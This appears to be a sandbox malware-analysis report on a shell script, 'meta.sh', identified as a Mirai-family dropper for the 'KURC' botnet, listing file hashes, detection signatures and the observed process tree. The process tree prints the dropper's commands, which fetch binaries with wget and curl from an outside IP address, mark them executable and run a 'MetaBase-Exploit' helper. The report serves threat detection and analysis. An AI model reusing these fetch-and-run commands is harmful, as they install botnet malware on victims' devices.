Overview

overview

10

Static

static

1

meta.sh

ubuntu-18.04-amd64

10

meta.sh

debian-9-armhf

10

meta.sh

debian-9-mips

10

meta.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    5s
  • max time network
    4s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    17-02-2025 10:22

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    meta.sh

  • Size

    483B

  • MD5

    79b512b0b1a43d26890e67dfb400c8c8

  • SHA1

    e8db4e2ce94cdcd5f97a02be52968a336b60d784

  • SHA256

    c41d5810be4537b41400f5aefb61ace955fe7f1bfc26a2bb0cd6144f38aa3679

  • SHA512

    fade5a3df3df6074e13c0a15f858e005b5ddb353729f050b74179def4dd653cee66fe53f22a484d70064ce38755d4e555fcbde9fa8a27ea70f5e1be1e5257904

Score
10/10
miraikurcbotnetdefense_evasiondiscovery

Malware Config

Extracted

Family

mirai

Botnet

KURC

Extracted

Family

mirai

Botnet

KURC

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

    botnetmirai
  • Mirai family
    mirai
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Reads runtime system information 3 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/meta.sh
    /tmp/meta.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:715
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:719
    • /usr/bin/wget
      wget http://194.85.251.68/bins/kre4per.x86
      2⤵
      • Writes file to tmp directory
      PID:722
    • /usr/bin/curl
      curl -O http://194.85.251.68/bins/kre4per.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:735
    • /bin/cat
      cat kre4per.x86
      2⤵
        PID:744
      • /bin/chmod
        chmod +x busybox kraapje kre4per.x86 meta.sh systemd-private-62296eb1a0ad45a38bb7146d93baeaea-systemd-timedated.service-AFao4C
        2⤵
        • File and Directory Permissions Modification
        PID:745
      • /tmp/kraapje
        ./kraapje MetaBase-Exploit
        2⤵
          PID:746
        • /usr/bin/wget
          wget http://194.85.251.68/bins/kre4per.x86_64
          2⤵
          • Writes file to tmp directory
          PID:748
        • /usr/bin/curl
          curl -O http://194.85.251.68/bins/kre4per.x86_64
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:750
        • /bin/cat
          cat kre4per.x86_64
          2⤵
            PID:751
          • /bin/chmod
            chmod +x busybox kraapje kre4per.x86 kre4per.x86_64 meta.sh systemd-private-62296eb1a0ad45a38bb7146d93baeaea-systemd-timedated.service-AFao4C
            2⤵
            • File and Directory Permissions Modification
            PID:752
          • /tmp/kraapje
            ./kraapje MetaBase-Exploit
            2⤵
              PID:753

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • /tmp/busybox
            Filesize

            857KB

            MD5

            a39fe8036e559ce804e26518061e59ff

            SHA1

            8df27f6e8a48b762d945ea2f2b87390c80acd4de

            SHA256

            3180df117342646dcdc4c436f95b41e15587e2238ec59064b4b06c065d56cf38

            SHA512

            e97756f316fceef7360e789362648529eea50eb6f7cc56cf654b3fc43ca61f0e4d9f366ed8fd59b73dd5a49615e935e9f53686d15f9a83c7fa472a70e7196d0d

            Download Submit

          • /tmp/kraapje
            Filesize

            61KB

            MD5

            d2b8f3324a01bcc7b32944d8d8b84f81

            SHA1

            ad898c85a87d9e44d6a88d900b23d350b545e8af

            SHA256

            6bc122342cb7620b9e130b71869bcedd664c243fb8a63bb2f29a9c71cb48fce4

            SHA512

            b8fc9a6c4a713cda10db85e1283f840de8e2a04546a20993c214a9768b8aa98172e810c148f4bf8ed90286fe9cf7b091eabf512ab0bf3681bef759ce9fa894ad

            Download Submit

          • /tmp/kre4per.x86
            Filesize

            53KB

            MD5

            7ffbdf8a1d617b2c93d5fc520ccb31cc

            SHA1

            5dbe3ceeb1e58a61671b74d040b809d343d24b53

            SHA256

            7c3b7d80a9f95b61e3a56a62493c5f3336eabd766a17d2d07e28d01ec750f7eb

            SHA512

            3de46ad924e9ceab846f2a09933a1cb654e5e70c8a4bf84d395c8492470b8bcc0afc838b3f4ceb8086c81e4beba5c2884bd59a202d6c682ae58c6d2a28766727

            Download Submit